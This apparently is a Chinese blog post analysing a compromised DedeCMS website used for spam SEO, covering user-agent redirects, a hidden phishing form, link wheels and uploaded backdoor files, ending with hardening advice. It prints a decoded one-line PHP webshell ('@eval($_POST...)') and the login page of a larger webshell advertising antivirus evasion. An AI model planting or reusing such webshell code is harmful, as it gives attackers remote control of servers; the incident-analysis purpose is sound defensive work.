當我們的網站被入侵了,該如何解決?
一般遇到這種情況,大家先不要慌,拿出手機拍個視頻發個抖音和朋友圈啥的就好了。
今天早上一起來,就有學員在群里發了個截圖,說他的站點被入侵了,用來搞那種詞。我們來看截圖。

然后呢,從快照點擊進去,是進入到對應的列表首頁的。當時我看到這個,我就知道是什么原因了。然后我就要了ftp賬號,開始了快樂的分析之旅。
先從搜索結果分析
先還原一下問題,然后我就拿著域名去site了一下,首先找到被寄生的頁面,發現還不少,而且是從今年的6月初就已經有了。

然后點擊進去,發現真的是跳到了列表的首頁。根據老司機的經驗,出現這種原因的就只有兩種技術可以實現。
1.js判斷useragent做跳轉
2.php判斷useragent做跳轉
以前還有一種是如果用戶直接訪問的話是返回正常的頁面,但是如果從搜索引擎點擊進去是返回被修改的頁面的。那個跟現在的原理相同,但是做法不一樣。目前這個是為了讓用戶更加的難發現問題在哪,對于小白可能就一臉懵逼了。
那么確定問題所在之后,我們就開始分析。既然正常的用戶訪問不了,那么我們就模擬一下搜索引擎蜘蛛好了。
開始祭出大殺器
作為seoer,怎么能沒有一款隨意切換瀏覽器UA的插件呢,這里我用的是,這個。

但是這個插件默認是沒有搜索引擎ua的,得自己手動添加。這里我就不啰嗦了。
通過UA插件切換了瀏覽器的UA,然后再次訪問,終于正常了。然后就是分析網頁源代碼。(其實也可以直接查看百度快照的源代碼的,我這么做主要就是為了裝b)

好家伙,一點都不知道那個啥。而且這個明顯是程序自動生成的頁面,跟原本正常頁面的header是不一樣的。

這個是正常內頁的頭部。明顯的,黑帽的還用的是HTML5,而正常的頁面還是用XHTML(HTML4.0過渡)。黑帽還是跟進新時代的,用最新的技術。
然后瀏覽了一通源代碼,并沒有發現異常的js內容和文件。所以可以確定問題就是在php里面做的手腳了。
但是在看源碼的時候,倒是發現了一些新的東西,這個也是寄生蟲的特征吧。

這里有一個隱藏的區塊,大概看了下是個表單,估計是用來做釣魚用的,竊取用戶信息。但是由于對應的css樣式沒有引用,所以就看不到真實的樣子。

然后我們也看到,所有的鏈接都變成了這種程序生成的頁面鏈接,對于寄生蟲病毒,一般會做成鏈輪的方式。而且頁面也會越來越多的。

我們也可以看到,有連接到站外去的鏈接,形成一個大的鏈輪。
內容方面我就不說了,這種類型的內容都是套用模板來批量生成的。
我們再來看一個很有意思的吧,這個在之前的黑帽文章里面也講到過。就是我們經常搜索一些灰色詞的時候,會看到有一些著名站點的結果在里面。那么之前的猜測是通過錨文本+301跳轉來做的。但是我發現我想多了,它就是單純的外鏈錨文本而已,類似于著名的“谷歌炸彈”。

HTML源碼的分析就到這里,從中我們也能學到很多東西。我們接下來分析php,一般存在這種問題的原因就是網站存在文件上傳漏洞,而且該童鞋的站點是dedecms的,那么這個就更加明顯了。
還有一個原因確定是PHP造成的,就是在源碼里面可以看到有PHP的報錯信息。因此很明顯就是黑客的php跟原來的沖突了才導致的。

一般的,對于文件上傳漏洞主要就是在圖文上傳目錄,和模板目錄。于是我就要來了ftp賬號,開始高高興興的分析之旅……
PHP分析
一般的,想要知道黑客的PHP文件上傳到哪里,可以直接通過查看文件夾和文件的最新更新時間。
不過由于該站點的文件夾太多了,我還沒得找出來,該童鞋就用D盾一頓掃就找到了,結果我不知道,還在傻乎乎的找沒找到。原來是他刪除了。
不過我也要到了黑客的PHP文件,等下我們分析一下源碼。黑客的文件上傳路徑如我所料,一個是在plus/img目錄一個是在templates模板目錄。
來看看這幾個文件。

首先,入口文件st.php是放在plus/img目錄下的,這個猜測應該是個小馬文件,用來方便上傳后面的大馬。我們看下源碼:

一臉懵逼,看不懂?沒關系,我們來翻譯一下,其實黑客就喜歡搞這些看起來高大上的東西。其實無非就是簡單的加解密而已。
然后經過一番奮斗之后,我還原了代碼。

其實就是一段base64的加密,然后經過兩次base64解密之后就得到原來的東西了。
解密出來,它就是一個post表單處理,它會執行post表單提交過來的代碼。
1 | @eval($_POST['test']); |
所以黑客就可以通過這個表單,提交大馬過來了。然后就有了接下來的大馬文件。

這個就是大馬文件了,其中19行的$str里面是一大長串的加密字符,我就不截圖了。反正很長就是了。然后我們解密一下看看后來長啥樣。
<title>請勿使用非法用途</title>
<meta http-equiv="content-type" content="text/html;charset=gb2312">
<style type="text/css">
.form-control{
display:block;
width:100%;
height:38px;
padding:8px 12px;
font-size:14px;
line-height:1.428571429;
color:#555;
vertical-align:middle;
background-color:#fff;
border:1px solid #ccc;
border-radius:4px;
-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);
box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);
-webkit-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;
transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s
}
.btn{
display:inline-block;
padding:8px 12px;
margin-bottom:0;
font-size:14px;
font-weight:500;
line-height:1.428571429;
text-align:center;
white-space:nowrap;
vertical-align:middle;
cursor:pointer;
border:1px solid transparent;
border-radius:4px;
-webkit-user-select:none;
-moz-user-select:none;
-ms-user-select:none;
-o-user-select:none;
user-select:none
}
.btn-primary{
color:#fff;
background-color:#428bca;
border-color:#428bca
}
</style>
<center>
<br><br>
<font size="3" face="Microsoft YaHei">過安全狗、云鎖、阿里云、360、護衛神、D盾、百度云、各種殺軟!</font>
<br><br>
<form method="POST">
<input style="Width:125pt;display:inline-block;font-family:Microsoft YaHeifont-size:90%" class="form-control" placeholder="@Passwrd" type="password" name="getpwd">
<input style="Width:55pt;font-size:90%;font-family:Microsoft YaHei" class="btn btn-primary" type="submit" value="#Login"></form>
</center>
</body>
</html>這個就是黑客留下的,我們發現這個似乎也是一個表單提交的頁面。跟內容的生成沒有任何的關系。
那么黑客是如何生成內容的呢?主要的就是通過前面的那個st.php,其實這兩個文件都是屬于后門,而且這第二個文件是存放在了模板下的兩個不同的目錄里面。主要就是為了當st.php文件被發現之后,可以通過這第二個文件繼續干這個站點。內容的話都是通過st.php提交來生成的。
總結
本次的分析就到這里,可以看到黑客很多地方都是很厲害的???我們要注意防范,特別是使用開源的程序做站的時候。一定要修復好漏洞。同時賬戶密碼等一定要復雜,而且經常更換。對于一些敏感的目錄,可以通過nginx禁止瀏覽php、asp、jsp等文件。同時要配置要權限,不讓圖片文件夾等擁有可執行權限。
其實到這里我都有點不太確定這個是否是真的寄生蟲感染,因為沒有發現生成內容的木馬文件。不過只是通過后門來生成內容還是很厲害的,估計是一個新的方式吧。還有就是由于時間關系,我并沒有問該童鞋,是否近期有大量的請求是訪問st.php的。這個后面等我驗證了再給大家答復。
